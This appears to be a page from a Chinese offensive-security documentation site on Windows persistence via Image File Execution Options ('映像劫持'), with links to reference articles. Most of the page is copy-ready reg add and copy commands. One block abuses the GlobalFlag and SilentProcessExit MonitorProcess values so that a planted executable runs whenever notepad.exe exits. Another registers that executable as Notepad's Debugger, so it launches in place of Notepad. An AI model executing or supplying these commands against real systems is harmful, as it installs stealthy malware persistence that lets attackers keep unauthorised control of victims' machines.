> For the complete documentation index, see [llms.txt](https://docs.qwqdanchun.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.qwqdanchun.com/main/persistence/image-file-execution-options/image-file-execution-options.md).

# 映像劫持

## 劫持程序退出事件 <a href="#h3-u52abu6301u7a0bu5e8fu9000u51fau4e8bu4ef6" id="h3-u52abu6301u7a0bu5e8fu9000u51fau4e8bu4ef6"></a>

命令行

```
# Use notepad as example

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "C:\Temp\qwqdanchun.exe"
```

## 劫持程序调试选项 <a href="#h3-u52abu6301u7a0bu5e8fu8c03u8bd5u9009u9879" id="h3-u52abu6301u7a0bu5e8fu8c03u8bd5u9009u9879"></a>

命令行

```
copy C:\Temp\qwqdanchun.exe C:\Windows\System32\qwqdanchun.exe

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v Debugger /d "qwqdanchun.exe"
```

参考文章：

{% embed url="<https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/>" %}

{% embed url="<https://pentestlab.blog/2020/01/13/persistence-image-file-execution-options-injection/>" %}
